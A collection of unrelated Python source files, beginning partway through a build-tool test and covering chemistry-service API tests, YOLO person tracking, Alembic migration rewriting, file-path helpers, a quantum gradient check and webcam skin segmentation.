    ]
    command = pre_cmd_args + cmd
    return self.run_pants(command=command)

  def test_pants_requirement(self):
    self.maxDiff = None

    with self.create_unstable_pants_distribution() as repo:
      tests_dir = 'testprojects/pants-plugins/tests/python/test_pants_plugin'
      with self.file_renamed(os.path.join(get_buildroot(), tests_dir), 'TEST_BUILD', 'BUILD'):
        test_pants_requirement_cmd = ['--python-repos-repos={}'.format(repo),
                                      'test',
                                      tests_dir]
        pants_run = self.run_with_testproject_backend_pkgs(test_pants_requirement_cmd)
        self.assert_success(pants_run)


import itertools
import os
import pathlib
from typing import List

import pytest

from fastapi.testclient import TestClient

from indigo_service import jsonapi
from indigo_service.indigo_http import app

client = TestClient(app)

test_structures = [
    {"structure": "CNC", "format": "auto"},
    {"structure": "CN1C=NC2=C1C(=O)N(C(=O)N2C)C", "format": "auto"},
    {
        "structure": "InChI=1S/C8H10N4O2/c1-10-4-9-6-5(10)"
        "7(13)12(3)8(14)11(6)2/h4H,1-3H3",
        "format": "auto",
    },
]

# Convert

@pytest.mark.parametrize(
    "test_input,target,modifiers,expected",
    [
        (["CNC", "inchi", [], "InChI=1S/C2H7N/c1-3-2/h3H,1-2H3"]),
        (["InChI=1S/C2H7N/c1-3-2/h3H,1-2H3", "smiles", [], "CNC"]),
        (
            [
                "InChI=1S/C8Cl2N2O2/c9-5-6(10)8(14)4(2-12)3(1-11)7(5)13",
                "inchi",
                ["aromatize", "clean2d"],
                "InChI=1S/C8Cl2N2O2/c9-5-6(10)8(14)4(2-12)3(1-11)7(5)13",
            ]
        ),
        (["C1=CC=CC=C1", "smiles", ["aromatize"], "c1ccccc1"]),
    ],
)
def test_convert(
    test_input: str, target: str, modifiers: List[str], expected: str
) -> None:
    response = client.post(
        "/indigo/convert",
        json={
            "data": {
                "type": "convert",
                "attributes": {
                    "compound": {
                        "structure": test_input,
                        "format": "auto",
                        "modifiers": modifiers,
                    },
                    "outputFormat": target,
                },
            }
        },
    )
    assert response.status_code == 200
    assert response.json()["data"]["attributes"]["structure"] == expected
    assert response.json()["data"]["attributes"]["format"] == target

def test_ket_convert() -> None:
    resources = "tests/test_resources/kets"
    *_, files = next(os.walk(resources))
    for file_ in files:
        # pylint: disable=unspecified-encoding
        with open(pathlib.Path(resources) / file_):
            smiles = pathlib.Path(file_).stem
            # ket = json.loads(f.read())
            response = client.post(
                "/indigo/convert",
                json={
                    "data": {
                        "type": "convert",
                        "attributes": {
                            "compound": {
                                "structure": smiles,
                                "format": "auto",
                                "modifiers": [],
                            },
                            "outputFormat": "ket",
                        },
                    }
                },
            )
            assert response.status_code == 200

# Similarities

def similarity_request(  # pylint: disable=too-many-arguments
    source: dict,
    targets: list[dict],
    fingerprint: str = "sim",
    metric: str = "tanimoto",
    alpha: float = 0.5,
    beta: float = 0.5,
) -> dict:
    return {
        "data": {
            "type": "similarities",
            "attributes": {
                "source": source,
                "targets": targets,
                "fingerprint": fingerprint,
                "metric": metric,
                "alpha": alpha,
                "beta": beta,
            },
        }
    }

def test_similarities_error():
    for structure in test_structures:
        response = client.post(
            "/indigo/similarities",
            json=similarity_request(
                source=structure,
                targets=[{"structure": "D", "format": "auto"}],
            ),
        )
        assert isinstance(response.json().get("errors"), list)
        assert response.status_code == 400
        assert len(response.json().get("errors")) == 1

# Descriptors

def descriptors_request(compound: dict, descriptors: tuple) -> dict:
    return {
        "data": {
            "type": "descriptor",
            "attributes": {"compound": compound, "descriptors": descriptors},
        }
    }

react_descriptors = [
    jsonapi.Descriptors.COUNT_CATALYSTS,
    jsonapi.Descriptors.COUNT_MOLECULES,
    jsonapi.Descriptors.COUNT_PRODUCTS,
]
mol_descriptors = list(
    filter(lambda x: x not in react_descriptors, jsonapi.Descriptors)
)

def test_base_descriptors() -> None:
    max_iters = 10

    for perm_number, descriptors in enumerate(
        itertools.permutations(mol_descriptors, 4)
    ):
        if perm_number == max_iters:
            break
        for compound in test_structures:
            response = client.post(
                "/indigo/descriptors",
                json=descriptors_request(
                    compound=compound, descriptors=descriptors
                ),
            )
            assert response.status_code == 200


import os
from ultralytics import YOLO
import cv2
from tracker import Tracker
import numpy as np

videoDir = os.path.\
    join('.','data','people.mp4')

cap = cv2.VideoCapture(videoDir)

tracker = Tracker()

ret, frame = cap.read()

# uses deep sort
model = YOLO("yolov8n.pt")

num_1 = 0
num_2 = 0

# variables to be used
prev_centroids = []
centroids = []
totalTime = []
prevTime = []
i2 = 0
time = 0

# loops through the frames
while ret:
    results = model(frame)
    # checks one frame at a time
    for result in results:
        detections = []
        for r in result.boxes.data.tolist():
            x1, y1, x2, y2, score, class_id = r
            x1 = int(x1)
            y1 = int(y1)
            x2 = int(x2)
            y2 = int(y2)
            class_id = int(class_id)
            detections.append([x1, y1, x2, y2, score])

        # algorithm to detect people
        tracker.update(frame, detections)
        threshold = 75
        i = 0

        # adds bounding box to people
        for track in tracker.tracks:
            bbox = track.bbox
            x1, y1, x2, y2 = bbox
            track_id = track.track_id
            centroid_x = (int(y1))
            centroids.append(centroid_x)
            totalTime.append(0)
            # checks if the y values can be compared
            if prev_centroids :
                dx = centroid_x - prev_centroids[i]
                # checks if the yval is in the same range as it started
                # as long as the val is in the same area then it must not be moving that fast or at all
                if (-55 <= dx <= 55):
                    cv2.rectangle(frame, (int(x1), int(y1)), (int(x2), int(y2)), (0, 0, 100), 3)
                    prevTime[i] += 1
                    time = prevTime[i]
                    # assigns stars to sus persons
                    if(5 >= time > 1):
                        cv2.putText(frame, '*', (int(x1), int(y1)), cv2.FONT_HERSHEY_SIMPLEX, .27, (0, 0, 0), 8)
                        cv2.putText(frame, '*', (int(x1), int(y1)), cv2.FONT_HERSHEY_SIMPLEX, .27, (255, 255, 255), 2)
                        cv2.rectangle(frame, (int(x1), int(y1)), (int(x2), int(y2)), (0, 0, 125), 3)
                    elif (8 >= time > 5):
                        cv2.putText(frame, '**', (int(x1), int(y1)), cv2.FONT_HERSHEY_SIMPLEX, .27, (0, 0, 0), 8)
                        cv2.putText(frame, '**', (int(x1), int(y1)), cv2.FONT_HERSHEY_SIMPLEX, .27, (255, 255, 255), 2)
                        cv2.rectangle(frame, (int(x1), int(y1)), (int(x2), int(y2)), (0, 0, 150), 3)
                    elif (12 >= time > 8):
                        cv2.putText(frame, '***', (int(x1), int(y1)), cv2.FONT_HERSHEY_SIMPLEX, .27, (0, 0, 0), 8)
                        cv2.putText(frame, '***', (int(x1), int(y1)), cv2.FONT_HERSHEY_SIMPLEX, .27, (255, 255, 255), 2)
                        cv2.rectangle(frame, (int(x1), int(y1)), (int(x2), int(y2)), (0, 0, 175), 3)
                    elif (15 >= time > 12):
                        cv2.putText(frame, '****', (int(x1), int(y1)), cv2.FONT_HERSHEY_SIMPLEX, .27, (0, 0, 0), 8)
                        cv2.putText(frame, '****', (int(x1), int(y1)), cv2.FONT_HERSHEY_SIMPLEX, .27, (255, 255, 255), 2)
                        cv2.rectangle(frame, (int(x1), int(y1)), (int(x2), int(y2)), (0, 0, 200), 3)
                    elif (time > 15):
                        cv2.putText(frame, '*****', (int(x1), int(y1)), cv2.FONT_HERSHEY_SIMPLEX, .27, (0, 0, 0), 8)
                        cv2.putText(frame, '*****', (int(x1), int(y1)), cv2.FONT_HERSHEY_SIMPLEX, .27, (255, 255, 255), 2)
                        cv2.rectangle(frame, (int(x1), int(y1)), (int(x2), int(y2)), (0, 0, 250), 3)
                        cv2.rectangle(frame, (int(x1), int(y1)), (int(x2), int(y2)), (0, 250, 0), 5)
                        cv2.rectangle(frame, (int(x1), int(y1)), (int(x2), int(y2)), (0, 0, 250), 3)
                    print(dx)
                    pass
                else:
                    cv2.rectangle(frame, (int(x1), int(y1)), (int(x2), int(y2)), (200, 0, 0), 5)
                    totalTime[i] = 0
                    # The person is moving
            else:
                # This is the first frame
                cv2.rectangle(frame, (int(x1), int(y1)), (int(x2), int(y2)), (200, 0, 0), 3)
                pass
            i = i+1
        # Update the list of previous centroids
        if i2 > 0:
            print("i2: ", i2)
        else:
            prevTime = totalTime
            prev_centroids = centroids

        i2 += 1

    cv2.imshow('frame', frame)
    cv2.waitKey(25)

    ret, frame = cap.read()

cap.release()
cv2.destroyAllWindows()


from __future__ import annotations
import os
from typing import Union, TYPE_CHECKING

if TYPE_CHECKING:
    from api.python.script_building.dag import DAGNode
    from api.python.operator.nodes.matrix import Matrix
    from api.python.operator.nodes.frame import Frame
    from api.python.operator.nodes.scalar import Scalar

VALID_INPUT_TYPES = Union['DAGNode', str, int, float, bool]
# These are the operator symbols used in DaphneDSL (not in Python).
BINARY_OPERATIONS = ['+', '-', '/', '*', '^', '%', '<', '<=', '>', '>=', '==', '!=', '@', '&&', '||']
VALID_ARITHMETIC_TYPES = Union['DAGNode', int, float]
VALID_COMPUTED_TYPES = Union['Matrix', 'Frame', 'Scalar']

PYTHON_PATH = os.path.abspath(os.path.dirname(os.path.dirname(__file__)))

TMP_PATH = os.path.join(PYTHON_PATH, "tmp")
os.makedirs(TMP_PATH, exist_ok=True)

PROTOTYPE_PATH = os.path.dirname(os.path.dirname(os.path.dirname(PYTHON_PATH)))

# DAPHNE value type codes.
# The values need to be updated according to the value type codes in ValueTypeCode.h as this is a 1:1 copy.
SI8 = 0
SI32 = 1
SI64 = 2
UI8 = 3
UI32 = 4
UI64 = 5
F32 = 6
F64 = 7


import fileinput
from collections import Counter
from operator import mul, ne
from itertools import product

lines = list(map(lambda e: e.strip(), fileinput.input()))

counts = map(Counter, lines)
values = map(lambda e: set(e.values()), counts)
has_2_3 = map(lambda e: (2 in e, 3 in e), values)
sum_2_3 = map(sum, zip(*has_2_3))
print(mul(*sum_2_3))

for a, b in product(lines, lines):
    if sum(map(lambda e: ne(*e), zip(a, b))) == 1:
        same = map(lambda e: False if ne(*e) else e[0], zip(a, b))
        common = ''.join(filter(None, same))
        print(common)
        break


from __future__ import annotations

from typing import Any
from typing import Callable
from typing import Iterator
from typing import List
from typing import Optional
from typing import Type
from typing import TYPE_CHECKING
from typing import Union

from .. import util
from ..operations import ops

if TYPE_CHECKING:
    from ..operations.ops import AddColumnOp
    from ..operations.ops import AlterColumnOp
    from ..operations.ops import CreateTableOp
    from ..operations.ops import MigrateOperation
    from ..operations.ops import MigrationScript
    from ..operations.ops import ModifyTableOps
    from ..operations.ops import OpContainer
    from ..runtime.environment import _GetRevArg
    from ..runtime.migration import MigrationContext

class Rewriter:
    """A helper object that allows easy 'rewriting' of ops streams.

    The :class:`.Rewriter` object is intended to be passed along
    to the
    :paramref:`.EnvironmentContext.configure.process_revision_directives`
    parameter in an ``env.py`` script.    Once constructed, any number
    of "rewrites" functions can be associated with it, which will be given
    the opportunity to modify the structure without having to have explicit
    knowledge of the overall structure.

    The function is passed the :class:`.MigrationContext` object and
    ``revision`` tuple that are passed to the  :paramref:`.Environment
    Context.configure.process_revision_directives` function normally,
    and the third argument is an individual directive of the type
    noted in the decorator.  The function has the choice of  returning
    a single op directive, which normally can be the directive that
    was actually passed, or a new directive to replace it, or a list
    of zero or more directives to replace it.

    .. seealso::

        :ref:`autogen_rewriter` - usage example

    """

    _traverse = util.Dispatcher()

    _chained: Optional[Rewriter] = None

    def __init__(self) -> None:
        self.dispatch = util.Dispatcher()

    def chain(self, other: Rewriter) -> Rewriter:
        """Produce a "chain" of this :class:`.Rewriter` to another.

        This allows two rewriters to operate serially on a stream,
        e.g.::

            writer1 = autogenerate.Rewriter()
            writer2 = autogenerate.Rewriter()

            @writer1.rewrites(ops.AddColumnOp)
            def add_column_nullable(context, revision, op):
                op.column.nullable = True
                return op

            @writer2.rewrites(ops.AddColumnOp)
            def add_column_idx(context, revision, op):
                idx_op = ops.CreateIndexOp(
                    "ixc", op.table_name, [op.column.name]
                )
                return [op, idx_op]

            writer = writer1.chain(writer2)

        :param other: a :class:`.Rewriter` instance
        :return: a new :class:`.Rewriter` that will run the operations
         of this writer, then the "other" writer, in succession.

        """
        wr = self.__class__.__new__(self.__class__)
        wr.__dict__.update(self.__dict__)
        wr._chained = other
        return wr

    def rewrites(
        self,
        operator: Union[
            Type[AddColumnOp],
            Type[MigrateOperation],
            Type[AlterColumnOp],
            Type[CreateTableOp],
            Type[ModifyTableOps],
        ],
    ) -> Callable:
        """Register a function as rewriter for a given type.

        The function should receive three arguments, which are
        the :class:`.MigrationContext`, a ``revision`` tuple, and
        an op directive of the type indicated.  E.g.::

            @writer1.rewrites(ops.AddColumnOp)
            def add_column_nullable(context, revision, op):
                op.column.nullable = True
                return op

        """
        return self.dispatch.dispatch_for(operator)

    def _rewrite(
        self,
        context: MigrationContext,
        revision: _GetRevArg,
        directive: MigrateOperation,
    ) -> Iterator[MigrateOperation]:
        try:
            _rewriter = self.dispatch.dispatch(directive)
        except ValueError:
            _rewriter = None
            yield directive
        else:
            if self in directive._mutations:
                yield directive
            else:
                for r_directive in util.to_list(
                    _rewriter(context, revision, directive), []
                ):
                    r_directive._mutations = r_directive._mutations.union(
                        [self]
                    )
                    yield r_directive

    def __call__(
        self,
        context: MigrationContext,
        revision: _GetRevArg,
        directives: List[MigrationScript],
    ) -> None:
        self.process_revision_directives(context, revision, directives)
        if self._chained:
            self._chained(context, revision, directives)

    @_traverse.dispatch_for(ops.MigrationScript)
    def _traverse_script(
        self,
        context: MigrationContext,
        revision: _GetRevArg,
        directive: MigrationScript,
    ) -> None:
        upgrade_ops_list = []
        for upgrade_ops in directive.upgrade_ops_list:
            ret = self._traverse_for(context, revision, upgrade_ops)
            if len(ret) != 1:
                raise ValueError(
                    "Can only return single object for UpgradeOps traverse"
                )
            upgrade_ops_list.append(ret[0])
        directive.upgrade_ops = upgrade_ops_list

        downgrade_ops_list = []
        for downgrade_ops in directive.downgrade_ops_list:
            ret = self._traverse_for(context, revision, downgrade_ops)
            if len(ret) != 1:
                raise ValueError(
                    "Can only return single object for DowngradeOps traverse"
                )
            downgrade_ops_list.append(ret[0])
        directive.downgrade_ops = downgrade_ops_list

    @_traverse.dispatch_for(ops.OpContainer)
    def _traverse_op_container(
        self,
        context: MigrationContext,
        revision: _GetRevArg,
        directive: OpContainer,
    ) -> None:
        self._traverse_list(context, revision, directive.ops)

    @_traverse.dispatch_for(ops.MigrateOperation)
    def _traverse_any_directive(
        self,
        context: MigrationContext,
        revision: _GetRevArg,
        directive: MigrateOperation,
    ) -> None:
        pass

    def _traverse_for(
        self,
        context: MigrationContext,
        revision: _GetRevArg,
        directive: MigrateOperation,
    ) -> Any:
        directives = list(self._rewrite(context, revision, directive))
        for directive in directives:
            traverser = self._traverse.dispatch(directive)
            traverser(self, context, revision, directive)
        return directives

    def _traverse_list(
        self,
        context: MigrationContext,
        revision: _GetRevArg,
        directives: Any,
    ) -> None:
        dest = []
        for directive in directives:
            dest.extend(self._traverse_for(context, revision, directive))

        directives[:] = dest

    def process_revision_directives(
        self,
        context: MigrationContext,
        revision: _GetRevArg,
        directives: List[MigrationScript],
    ) -> None:
        self._traverse_list(context, revision, directives)


from logging import Logger
from pathlib import Path
import shutil

class IsNotAFileError(OSError):
    """Exception raised if operation only works on files."""

class IsNotADirectoryError(OSError):
    """Exception raised if operation only works on directories."""

class NonEmptyDirectoryError(OSError):
    """Exception raised if operation only works on empty directories."""

def path_with_suffix(path: Path, suffix: str):
    """Adds a suffix to a path if necessary."""
    if suffix and not path.suffix == suffix:
        path = path.with_suffix(suffix)
    return path

def check_remove_filepath(path: Path, log: Logger, force: bool):
    """Checks the path does not point to a file, if it does will raise an error or remove it."""
    path.parent.mkdir(parents=True, exist_ok=True)
    if path.exists():
        if not path.is_file():
            log.error("%s exists and is not a file, aborting", path)
            raise IsNotAFileError
        if not force:
            log.error("%s already exists, aborting (use -f/--force to overwrite)", path)
            raise FileExistsError
        log.warn("%s already exists, overwritten", path)
        path.unlink()

def check_exists_filepath(path: Path, log: Logger):
    """Checks the path points to a file, if it doesn't will raise an error."""
    if not path.exists():
        log.error("%s already exists, aborting", path)
        raise FileNotFoundError

def check_empty_directory(path: Path, log: Logger, force: bool, ignore: bool):
    """Checks the path does not point to a non-empty directory, if it does will raise an error or
    empty it."""
    path.parent.mkdir(parents=True, exist_ok=True)
    if path.exists():
        if not path.is_dir():
            log.error("%s exists and is not a directory, aborting", path)
            raise IsNotADirectoryError
        if not (force or ignore):
            log.error(
                "%s already exists, aborting (use -f/--force to empty or -i/--ignore to ignore)",
                path,
            )
            raise NonEmptyDirectoryError
        if ignore:
            log.warn("%s already exists and is non-empty, ignoring anyway", path)
            return
        log.warn(
            "%s already exists and is non-empty, removing all files and sub-directories",
            path,
        )
        shutil.rmtree(path.as_posix())
        path.mkdir()


import vqa_gradients

import numpy as np
from scipy.linalg import expm
from scipy.stats import unitary_group
from scipy.misc import derivative
import functools as ft
tp = lambda a,b: np.tensordot(a,b,axes=0)

n_qubits = 3

H = 1/np.sqrt(2) * np.array([[1,1],[1,-1]])
X = np.array([[0,1],[1,0]])

M = ft.reduce(tp, np.repeat(H, n_qubits))
Psi = np.zeros((2**n_qubits,1)); Psi[0] = 1
G = np.diag(np.random.choice([1,2,3,4,5,6,7,8,9,10], 2**n_qubits))
W = vqa_gradients.complete_graph(2**n_qubits)/2**n_qubits
#W = np.diag(np.random.choice([1,2,3,4,5,6,7,8,9,10], 2**n_qubits))
R = vqa_gradients.find_R_from_qualities(np.linalg.eigvals(W))
rnd1 = unitary_group.rvs(2**n_qubits)
rnd2 = unitary_group.rvs(2**n_qubits)

def E(param):
    U = ft.reduce(np.matmul,
              [rnd2,
               expm(-1j*param*W),
               rnd1,
               Psi])
    U_dagger = U.conj().T
    return ft.reduce(np.matmul, [U_dagger,G,U])
E = np.vectorize(E)

x = np.array([(2*np.pi*i)/(2*R+1) for i in range(-R,R+1)])
y = E(x)
s = vqa_gradients.Series(x,y)
s.plot(function=E)

rnd = np.random.random()*6-3
print(s.gradient(rnd))
print(derivative(E,rnd,dx=1e-6)[0,0])


import cv2
import numpy as np
import matplotlib.pyplot as plt
# H entre 0 e 33 (cor de pele)
# S entre 58 e 255 (saturação S baixo = branco)
# V entre 30 e 255 (V = 0 preto)
min_HSV = np.array([0, 58, 30], dtype="uint8")
# for better results, use skin-detector-YCrCb colorspace
max_HSV = np.array([33, 255, 255], dtype="uint8")

# takes your webcam input
vid = cv2.VideoCapture(0)

while(True):

    ret, frame = vid.read()
    imageHSV = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)
    roiSkin = cv2.inRange(imageHSV, min_HSV, max_HSV)
    skin = cv2.bitwise_and(frame, frame, mask=roiSkin)

    cv2.imshow('segmentado', skin)

    if cv2.waitKey(1) & 0xFF == ord('q'):
        break

vid.release()
cv2.destroyAllWindows()